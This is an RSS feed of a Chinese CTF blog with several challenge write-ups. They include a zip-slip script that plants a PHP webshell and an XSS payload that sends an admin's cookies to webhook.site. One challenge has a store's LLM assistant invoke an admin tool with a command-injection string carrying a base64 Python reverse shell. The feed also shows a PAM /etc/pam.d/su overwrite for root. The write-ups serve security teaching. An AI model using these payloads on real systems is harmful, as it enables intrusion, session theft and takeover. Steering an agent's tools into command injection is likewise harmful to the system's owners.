<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Writeup on Red的小屋</title><link>https://redshome.top/tags/writeup/</link><description>Recent content in Writeup on Red的小屋</description><image><title>Red的小屋</title><url>https://redshome.top/images/papermod-cover.png</url><link>https://redshome.top/images/papermod-cover.png</link></image><generator>Hugo -- 0.140.2</generator><language>hk</language><copyright>Red</copyright><lastBuildDate>Thu, 16 Apr 2026 00:00:00 +0800</lastBuildDate><atom:link href="https://redshome.top/tags/writeup/index.xml" rel="self" type="application/rss+xml"/><item><title>2026长城杯半决赛easy_time意外发现的另一种潜在解法 | WriteUp</title><link>https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/</guid><description>&lt;p>本篇将介绍除网上zip slip漏洞外的另一种解法，针对所给附件docker-compose.yml环境与当时比赛现场环境不一致的情况&lt;/p>
&lt;h3 id="环境搭建">环境搭建&lt;/h3>
&lt;p>附件给了docker-compose.yml，直接&lt;code>docker-compose up -d&lt;/code>即可，mac上要把5000改成其他，否则会和airdrop冲突&lt;/p>
&lt;p>但要注意，本题直接用附件所给的docker-compose启动会和比赛时的环境不一致，也是为什么会有第二种解法的原因，具体将在攻击部分讲解&lt;/p>
&lt;h3 id="攻击">攻击&lt;/h3>
&lt;p>通过浏览整个项目的文件结构可以发现，有两个web部分，一个是php，一个是flask，而根据docker-compose.yml可知对外提供能访问到的是flask，所以先看flask的逻辑&lt;/p>
&lt;p>先看路由，发现大部分路由都需要经过login_required&lt;/p>
&lt;p>&lt;img alt="image-20260324133410454" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/images/image-20260324133410454.png">&lt;/p>
&lt;p>跟进这个装饰器，发现它通过另一个&lt;code>is_logged_in()&lt;/code>判断是否已登录&lt;/p>
&lt;p>&lt;img alt="image-20260324133524188" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/images/image-20260324133524188.png">&lt;/p>
&lt;p>&lt;img alt="image-20260326204429843" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/images/image-20260326204429843.png">&lt;/p>
&lt;p>这个&lt;code>is_logged_in()&lt;/code>只会检查cookie里的visited是否为yes，以及user是否有值，所以不需要什么绕过，只要有值就行&lt;/p>
&lt;p>另外，还有一个硬编码过的2层md5密码，其实明文是&lt;code>secret&lt;/code>，用hashcat可以很容易跑出来&lt;/p>
&lt;p>&lt;img alt="image-20260326205150603" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/images/image-20260326205150603.png">&lt;/p>
&lt;pre tabindex="0">&lt;code>hashcat -m 2600 -a 0 hash rockyou.txt
&lt;/code>&lt;/pre>&lt;p>登录逻辑大概就是这样，不过比赛时我居然在类似下面这样的好多地方纠结了好久为什么没有SSTI ？太久没碰CTF导致的&amp;hellip;&amp;hellip;&lt;/p>
&lt;p>&lt;img alt="image-20260414224354352" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260414224354352.png">&lt;/p>
&lt;p>顺便补一下上面这样的构造并不会造成SSTI，下面这样才会，原理：https://xz.aliyun.com/news/3311&lt;/p>
&lt;p>&lt;img alt="image-20260414224638233" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260414224638233.png">&lt;/p>
&lt;p>既然不存在直接的利用点，那就只能回到逻辑分析，粗略浏览路由后会发现主要路由只有&lt;code>/plugin/upload&lt;/code>和&lt;code>/about&lt;/code>，&lt;code>/board&lt;/code>尽管有写库的功能，但是sqlite，所以先不管&lt;/p>
&lt;p>先看&lt;code>/about&lt;/code>，主要逻辑就是下面这段&lt;/p>
&lt;p>&lt;img alt="image-20260415124751514" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415124751514.png">&lt;/p>
&lt;p>先对上传后缀做过滤，再从数据库里拿出信息给flask渲染，其中avatar_url还会经过一个fetch_remote_avatar_info的函数，跟进&lt;/p>
&lt;p>&lt;img alt="image-20260415124951757" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415124951757.png">&lt;/p>
&lt;p>就是很简单的curl，本身没有利用点。但问题就在于它另一个php服务存在于一个环境里，由此可以引出SSRF，并且php自带了一个phpinfo.php，所以来到about页面将头像地址改成php服务地址试试&lt;/p>
&lt;p>&lt;img alt="image-20260416005631468" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260416005631468.png">&lt;/p>
&lt;p>成功访问，但没有发现什么特别的东西，而且目前还没发现进一步利用到RCE的点，所以继续看另一个路由&lt;/p>
&lt;p>&lt;img alt="image-20260415192425778" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415192425778.png">&lt;/p>
&lt;p>可以看到仅支持上传.zip文件，并将上传上来的zip文件名做secure_filename防止路径穿越(注意这里只过滤上传的zip文件本身，不会检查zip文件里的文件)后，最终交给safe_upload函数，跟进一下&lt;/p>
&lt;p>&lt;img alt="image-20260415192453723" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415192453723.png">&lt;/p>
&lt;p>遍历zip文件中的文件，将文件名与dest_dir合并后赋值到target，如果是文件夹则确保或创建该文件夹存在，否则将文件写到完整的target路径里。&lt;/p>
&lt;p>其实这是个很类似解压到操作，但又不是标准的解压方法，真正使用zipfile解压zip的方法应该是下面这样&lt;/p>
&lt;pre tabindex="0">&lt;code>with zipfile.Zipfile(&amp;#34;example.zip&amp;#34;,&amp;#34;r&amp;#34;) as zips:
zipf.extractall(&amp;#34;/tmp&amp;#34;)
&lt;/code>&lt;/pre>&lt;p>但这道题里的这种&amp;quot;解压&amp;quot;实质上是一种文件迁移，将zip的内容读出来再写入，而不是真正地去解压它&lt;/p>
&lt;p>操作的空间就在这里，os.path.join对路径的处理并不会做像secure_filename那样过滤路径回退的操作，甚至会优先解析绝对路径(如下target3)，如下&lt;/p>
&lt;p>&lt;img alt="image-20260415193846381" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415193846381.png">&lt;/p>
&lt;p>由此可知，可以通过让被压缩的文件名带有&lt;code>/&lt;/code>或&lt;code>../&lt;/code>这样的格式，达到任意目录写文件的目的。并且由于flask没开热更新，所以肯定不是覆写.py来拿webshell，只能写php webshell&lt;/p>
&lt;p>所以只要构造一个文件名为&amp;rsquo;/var/www/html/shell.php&amp;rsquo;的文件就能成功写入，但linux和macos都不支持直接创建带&lt;code>/&lt;/code>文件名的文件，所以我们只能用zipfile这个库直接创建一个带有这样文件的压缩包&lt;/p>
&lt;pre tabindex="0">&lt;code>import zipfile
with zipfile.ZipFile(&amp;#34;eval.zip&amp;#34;,&amp;#34;w&amp;#34;) as f:
f.writestr(&amp;#34;/var/www/html/shell.php&amp;#34;,&amp;#34;&amp;lt;?php system(&amp;#39;ls&amp;#39;);?&amp;gt;&amp;#34;)
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20260415195724244" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415195724244.png">&lt;/p>
&lt;h4 id="赛事环境与附件所给不一致导致的利用失败">赛事环境与附件所给不一致导致的利用失败&lt;/h4>
&lt;p>此时如果直接上传这个文件，理论上应该是可以正常解压最后利用ssrf getshell才对，但情况并不是这样。而是出现了解压失败的报错&lt;/p>
&lt;p>&lt;img alt="image-20260415202040773" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415202040773.png">&lt;/p>
&lt;p>参考网上许多赛后复盘wp后发现，当时比赛的环境确实只要上传上面生成的压缩包即可&lt;/p>
&lt;p>&lt;img alt="image-20260415201803986" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415201803986.png">&lt;/p>
&lt;p>&lt;a href="https://rycarl.cn/index.php/2026/03/23/2026%E9%95%BF%E5%9F%8E%E6%9D%AFawdp%E5%8D%8A%E5%86%B3%E8%B5%9Bwp%E8%A5%BF%E5%8D%97%E5%9C%B0%E5%8C%BAweb/#FIX-2">https://rycarl.cn/index.php/2026/03/23/2026%E9%95%BF%E5%9F%8E%E6%9D%AFawdp%E5%8D%8A%E5%86%B3%E8%B5%9Bwp%E8%A5%BF%E5%8D%97%E5%9C%B0%E5%8C%BAweb/#FIX-2&lt;/a>&lt;/p>
&lt;p>&lt;img alt="image-20260415201911751" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415201911751.png">&lt;/p>
&lt;p>&lt;a href="https://blog.luc1f3r.top/zh-cn/posts/writeup/ciscn--ccb-%E5%8D%8A%E5%86%B3%E8%B5%9B---2026-writeup/#break-1">https://blog.luc1f3r.top/zh-cn/posts/writeup/ciscn--ccb-%E5%8D%8A%E5%86%B3%E8%B5%9B---2026-writeup/#break-1&lt;/a>&lt;/p>
&lt;p>说明两者环境应该有区别，经过一番排查后后发现了原因&lt;/p>
&lt;p>&lt;img alt="image-20260415202310365" loading="lazy" src="https://redshome.top/posts/2026-03-24-2026%E9%95%BF%E5%9F%8E%E6%9D%AF/image-20260415202310365.png">&lt;/p></description></item><item><title>xujcLab 4月多校训练赛 xujcStore | Writeup</title><link>https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/</link><pubDate>Wed, 08 Apr 2026 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/</guid><description>&lt;p>很久没有出过题了，上一次出题还是在上一次，看到这次4月赛这么多人在玩，就忙里偷闲随便整一个&lt;/p>
&lt;p>我会从做题者的视角来写，让大家可以更直观地看到渗透的逻辑链&lt;/p>
&lt;p>通过题目描述可以得知，老板最近经常（实际上是1分钟一次）用AI看一件夹克商品，进来看了一下，只有一件商品是夹克&lt;/p>
&lt;p>&lt;img alt="image-20260407191653443" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407191653443.png">&lt;/p>
&lt;p>&lt;img alt="image-20260407191717554" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407191717554.png">&lt;/p>
&lt;p>随便注册一个用户，上来后发现给了个邮箱服务，其他没发现什么有价值的东西，那就玩玩AI吧&lt;/p>
&lt;p>既然老板经常看这件夹克，那我们也看一下&lt;/p>
&lt;p>&lt;img alt="image-20260407192009213" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407192009213.png">&lt;/p>
&lt;p>可以看到，会显示客户评论，和商品页面下看到的一样，所以它的功能其实很简单，就是把评论区的内容照搬过来。既然这样，如果这里存在xss漏洞，老板的账号如果执行了我预先埋在评论区的xss payload，我就可以拿到他的cookie，上他的号看看。所以先来验证一下有没有xss&lt;/p>
&lt;p>回到夹克商品页面，随便打个alert试试&lt;/p>
&lt;p>&lt;img alt="image-20260407192345843" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407192345843.png">&lt;/p>
&lt;p>&lt;img alt="image-20260407192541799" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407192541799.png">&lt;/p>
&lt;p>可以看到没有执行，因为被包在了div容器里，但并没有做过滤或转译，所以试试img标签直接看外带能不能成&lt;/p>
&lt;p>&lt;img alt="image-20260407192732165" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407192732165.png">&lt;/p>
&lt;p>重新操作一遍后，最多等待1分钟左右，会发现成功收到回显&lt;/p>
&lt;p>&lt;img alt="image-20260407192757869" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407192757869.png">&lt;/p>
&lt;p>既然可以外带，那就准备外带cookie的payload，既然script不行就用img&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;lt;img src=x onerror=&amp;#34;location.href=&amp;#39;http://webhook.site/aeb1a8a3-639c-4595-89f1-18faac7d0d10?c=&amp;#39;+document.cookie&amp;#34;&amp;gt;
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20260407193211784" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407193211784.png">&lt;/p>
&lt;p>拿着外带回来的session就能登录到管理员akared777用户&lt;/p>
&lt;p>会发现多出一个管理员后台，但也没有什么特别的东西，只能证明我们已经成功登录到管理员用户，所以既然还是搜集不到东西那就再玩玩ai吧，老板喜欢玩的东西肯定不简单&lt;/p>
&lt;p>&lt;img alt="image-20260407193427980" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407193427980.png">&lt;/p>
&lt;p>这里我们如果用普通用户问一样的问题，会发现普通用户只有第一个功能product_info，只有管理员才会多出这么多功能。&lt;/p>
&lt;p>不过，llm最大的问题就在于同样的问题不一定能够被稳定复现，所以最稳妥的问法还是从它的功能原理——API问起&lt;/p>
&lt;p>&lt;img alt="image-20260407193922486" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407193922486.png">&lt;/p>
&lt;p>当然，要是中文不行，题目一开始的提示里告诉了英文最佳，在实战中也是个很常用的tip，这里就不演示了&lt;/p>
&lt;p>经过排查后，关注点锁定在dispatch_notification这个功能，&lt;/p>
&lt;p>&lt;img alt="image-20260407193702497" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407193702497.png">&lt;/p>
&lt;p>可以搜看看&lt;/p>
&lt;p>&lt;img alt="image-20260407194132936" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407194132936.png">&lt;/p>
&lt;p>命令行吗？有点意思，斗胆试一下命令拼接&lt;/p>
&lt;p>&lt;img alt="image-20260407194834286" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407194834286.png">&lt;/p>
&lt;p>这里它给的用法里没有指定是哪个工具，如果只发一个json它应该会不认得，所以在前面加上api的名字&lt;/p>
&lt;p>&lt;img alt="image-20260407195104924" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407195104924.png">&lt;/p>
&lt;p>会发现akared777的邮箱并没有收到邮件，但我并没有直接放弃测试这个api，毕竟这是道渗透题，环境带来的不确定性可能会让自己错过很重要的东西。此时想起来普通用户也有邮箱，所以开个无痕登录一个普通用户&lt;/p>
&lt;p>&lt;img alt="image-20260407195336122" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407195336122.png">&lt;/p>
&lt;p>会发现普通用户的邮箱地址和管理员不太一样，加了一串随机字符。所以我们拿它重新尝试一下&lt;/p>
&lt;p>&lt;img alt="image-20260407195504192" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407195504192.png">&lt;/p>
&lt;p>会发现还是没有收到邮件，所以我开始推测可能是我写的格式不对或内容不行，删减自己的json数据，到最后尝试让他只发送一封空邮件&lt;/p>
&lt;p>&lt;img alt="image-20260407195925966" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407195925966.png">&lt;/p>
&lt;p>&lt;img alt="image-20260407195937650" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407195937650.png">&lt;/p>
&lt;p>成功收到&lt;/p>
&lt;p>&lt;img alt="image-20260407195958072" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407195958072.png">&lt;/p>
&lt;p>会发现它已经自己写好了内容，也就是content，所以可能是怕我做命令拼接，所以会丢弃内容，并拦截&lt;/p>
&lt;p>不过到目前也只验证能发件，content又被ban了，那还有什么地方是可控的，可能存在拼接的吗？对，还有一个用户名，而且这个邮件自带一串随机字符，说不定发件定位用的不是用户名，而是这串随机字符，那就梭一把&lt;/p>
&lt;p>&lt;img alt="image-20260407200253502" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407200253502.png">&lt;/p>
&lt;p>&lt;img alt="image-20260407200346036" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407200346036.png">&lt;/p>
&lt;p>get it，至此我们就成功拿到了webshell，然后就是最喜闻乐见的反弹shell&lt;/p>
&lt;p>会发现空格遭到了过滤，而且太多引号也会导致奇怪的失败，这也是渗透常有的事，就不多展开，直接上我的payload&lt;/p>
&lt;pre tabindex="0">&lt;code>dispatch_notification $(echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMS4xLjEuMSIsMTE0NTEpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=|base64${IFS}-d|/bin/sh)@YOUR_PREFIX.xujcstore.com
&lt;/code>&lt;/pre>&lt;p>因为根据请求头会发现用的是python，所以直接用python弹更稳定&lt;/p>
&lt;p>&lt;img alt="image-20260407201113370" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407201113370.png">&lt;/p>
&lt;p>&lt;img alt="image-20260407201459461" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407201459461.png">&lt;/p>
&lt;p>接着就是提权环节了，会发现root没有权限进去&lt;/p>
&lt;p>&lt;img alt="image-20260407201544395" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407201544395.png">&lt;/p>
&lt;p>接着就是上可读可写可执行的查找三板斧，会发现可写里有个值得注意的家伙&lt;/p>
&lt;p>&lt;img alt="image-20260407201811579" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407201811579.png">&lt;/p>
&lt;p>pam是linux的统一权限管理接口，用来管理linux程序的权限划分，可以利用覆写配置达到提权&lt;/p>
&lt;p>没有读权限，但有写权限，那就只能靠蒙，看能不能蒙到可以直接利用的东西，直接试试最常见的su看有没有&lt;/p>
&lt;pre tabindex="0">&lt;code>echo &amp;#34;auth sufficient pam_permit.so&amp;#34; &amp;gt; /etc/pam.d/su
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20260407202052960" loading="lazy" src="https://redshome.top/posts/2026-04-08-tkkc_sec_4%E6%9C%88%E8%AE%AD%E7%BB%83%E8%B5%9B/image-20260407202052960.png">&lt;/p>
&lt;p>能写说明事先没有这个文件，现在我们写了用的就是我们的，最后执行su就能利用配置文件成功获得root&lt;/p>
&lt;p>具体原理可以参考https://blog.csdn.net/2301_79518550/article/details/145524969&lt;/p></description></item><item><title>2025 TKKCTF | WriteUp</title><link>https://redshome.top/posts/2025-12-08-2025-tkkctf/</link><pubDate>Sun, 07 Dec 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-12-08-2025-tkkctf/</guid><description>&lt;blockquote>
&lt;p>本篇wp还总结了本届TKKCTF在使用新版docker与xinted时，在Pwn方向上题/出题阶段遇到的问题的解决方法，以及密码题Isomorphia_revenge出现非预期解的原因与解决方法，希望能给各位校外师傅将来出题提供点帮助，再次感谢所有参与并支持本届TKKCTF的参赛选手与测试人员，TKKC Sec因为有你们而变得更好～&lt;/p>
&lt;/blockquote>
&lt;h2 id="web">Web&lt;/h2>
&lt;h3 id="eat">Eat&lt;/h3>
&lt;p>&lt;a href="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/#%E5%A5%BD%E5%90%83%E7%88%B1%E5%90%83%E5%A4%9A%E5%90%83">2023 TKKCTF - 好吃，爱吃，多吃&lt;/a>&lt;/p>
&lt;h3 id="real-or-ai">Real or AI&lt;/h3>
&lt;p>本题灵感来源于&lt;/p>
&lt;p>&lt;img alt="0c76f5a8d7b68509dc922da3a4717d96" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/0c76f5a8d7b68509dc922da3a4717d96.png">&lt;/p>
&lt;p>有很多人在群里晒自己的得分，不过这对一个训练有素的hacker来说应该想要多高就有多高&lt;/p>
&lt;p>网页内容基本没有变化，先来看看怎么修改得分&lt;/p>
&lt;p>最低1张图1局，我们就先随便玩一局看看显示结果的页面有什么值得注意的内容&lt;/p>
&lt;p>&lt;img alt="image-20251207123045360" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207123045360.png">&lt;/p>
&lt;p>运气不太好。此时你如果只是想到群里晒得分，可以直接修改HTML的内容&lt;/p>
&lt;p>&lt;img alt="image-20251207123206467" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207123206467.png">&lt;/p>
&lt;p>可是这样一点也不真实，左边的圆圈应该要随正确的比例填满，所以直接修改HTML的方法显然不是最好的，因此我们就要进一步看看前端还有什么别的实现&lt;/p>
&lt;p>&lt;img alt="image-20251207123349350" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207123349350.png">&lt;/p>
&lt;p>在js部分发现了这个&lt;/p>
&lt;p>&lt;img alt="image-20251207123421478" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207123421478.png">&lt;/p>
&lt;p>资源结构很简单，出了这个js外没有别的脚本，因此应该只要分析这个脚本就行。&lt;/p>
&lt;p>分析过前端逆向的人应该都知道，前端逻辑代码大部分都是经过混淆或者加密处理的，这个网页也不意外，所以如果直接通过打随机断点去分析，工作量会很大。因此我们需要找到一个明显又值得关注的东西，回到刚才我们随便玩的一局里，观察到“score”这个字符串，负责表示分数，所以我们就随便搜一搜&lt;/p>
&lt;p>&lt;img alt="image-20251207123906174" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207123906174.png">&lt;/p>
&lt;p>范围一下被缩小到了6个，所以我们就只需要观察这6个地方的逻辑，应该就能找到突破口&lt;/p>
&lt;p>通过观察，最后可以将目标锁定在这个结果&lt;/p>
&lt;p>&lt;img alt="image-20251207124031390" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207124031390.png">&lt;/p>
&lt;p>为什么是这里？这是6个结果中的第2个，如果我们把刚才的6个结果都看过去，可以在第6个结果中看到这样一段&lt;/p>
&lt;p>&lt;img alt="image-20251207124223964" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207124223964.png">&lt;/p>
&lt;p>通过属性名与&amp;quot;results&amp;quot;可以很大胆的猜测这段结果就是最后输出给我们看的东西，而后面这三个值被赋给了Yy，也就是6个结果中第2个结果的那个函数，所以如果能操控Yy，很大概率我们就可以控制最后的输出结果。&lt;/p>
&lt;p>我没有对Yy做很细致的分析，不过粗略的看一眼也能获得证实我们上面想法的线索&lt;/p>
&lt;p>&lt;img alt="image-20251207124610102" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207124610102.png">&lt;/p>
&lt;p>如果我们在刚才随便玩的那一局里再点一下“SHARE RESULTS”按钮，会发现他会复制一段话，而这段话的片段很明显就是这几行代码组成的，因此这更加证实了Yy就是负责最后输出页面内容的函数。&lt;/p>
&lt;p>而经过对这几行代码的分析也有别的发现，那就是变量o，这个变量在18193行被拿来做分数判断。回到Yy函数的变量声明里，会发现o变量就是由totalRounds和score组成的&lt;/p>
&lt;p>&lt;img alt="image-20251207130053493" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207130053493.png">&lt;/p>
&lt;p>所以思路到此就很清晰了，我们可以尝试在o变量被赋值的地方下条件断点，让o使用我们自己定义的e和t，就能达到随意控制最终输出结果的目的。&lt;/p>
&lt;p>&lt;img alt="image-20251207130306760" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207130306760.png">&lt;/p>
&lt;p>&lt;img alt="image-20251207130345066" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207130345066.png">&lt;/p>
&lt;p>此时我们再去玩一局，就会发现成功触发断点&lt;/p>
&lt;p>&lt;img alt="image-20251207130514526" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207130514526.png">&lt;/p>
&lt;p>放行全部断点后就能得到&lt;/p>
&lt;p>&lt;img alt="image-20251207130605851" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207130605851.png">&lt;/p>
&lt;p>此时如果你只是想炫耀999的截图任务，就已经完成了。但对于CTF选手来说，走到这步没有拿到flag肯定是很不满意的。所以我们就回到CTF最原始的玩法&lt;/p>
&lt;p>&lt;img alt="image-20251207130811912" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207130811912.png">&lt;/p>
&lt;p>如果你头铁，可以一个一个搜过去也可以。但我的习惯一般是只关注前几个和后几个。前3个结果显然不是我们要找的flag，那就看看后3个&lt;/p>
&lt;p>&lt;img alt="image-20251207130941024" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207130941024.png">&lt;/p>
&lt;p>很明显这就是我们要找的东西，获得方法也很简单，e和t我们刚才都已经分析过（理论上没有走过我们刚才那些步骤的选手应该也要去了解e和t的值分别是什么，当然也不乏可以猜出来）写个计算sha256的脚本就能解决&lt;/p>
&lt;pre tabindex="0">&lt;code>#!/bin/bash
e=999
t=999
salt=&amp;#34;HDJackm2G7SfnAwGWXOYgHfuB1cj6DEZ&amp;#34; #盐是每个靶机随机生成的，需要你自己替换
msg=&amp;#34;${salt}${e}${t}&amp;#34;
hash=$(echo -n &amp;#34;$msg&amp;#34; | sha256sum | awk &amp;#39;{print $1}&amp;#39;)
curl &amp;#34;https://47.122.52.77:33695/secrets/$hash.txt&amp;#34;
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20251207131656127" loading="lazy" src="https://redshome.top/posts/2025-12-08-2025-tkkctf/image-20251207131656127.png">&lt;/p>
&lt;h3 id="secops">SecOps&lt;/h3>
&lt;p>访问题目，被重定向至登录页面&lt;/p>
&lt;p>在登录页面可以发现一个下载接口&lt;code>/common/download?file=&lt;/code>&lt;/p></description></item><item><title>2025 TKKCTF Beginner | WriteUp</title><link>https://redshome.top/posts/2025-12-06-2025-tkkctf-beginner/</link><pubDate>Sat, 06 Dec 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-12-06-2025-tkkctf-beginner/</guid><description>&lt;blockquote>
&lt;p>本次WriteUp为各出题人收集版，如遇问题可以找对应题目出题人&lt;/p>
&lt;/blockquote>
&lt;h2 id="web">Web&lt;/h2>
&lt;h4 id="彩蛋">彩蛋&lt;/h4>
&lt;p>&lt;img alt="image-20251206013343403" loading="lazy" src="https://redshome.top/posts/2025-12-06-2025-tkkctf-beginner/image-20251206013343403.png">&lt;/p>
&lt;p>顺便解释一下为什么是“可能见过也可能没见过”&lt;/p>
&lt;p>&lt;img alt="image-20251206013500688" loading="lazy" src="https://redshome.top/posts/2025-12-06-2025-tkkctf-beginner/image-20251206013500688.png">&lt;/p>
&lt;p>以及为什么提示叫“挖掘xujclab.com”&lt;/p>
&lt;p>&lt;img alt="image-20251206013623384" loading="lazy" src="https://redshome.top/posts/2025-12-06-2025-tkkctf-beginner/image-20251206013623384.png">&lt;/p>
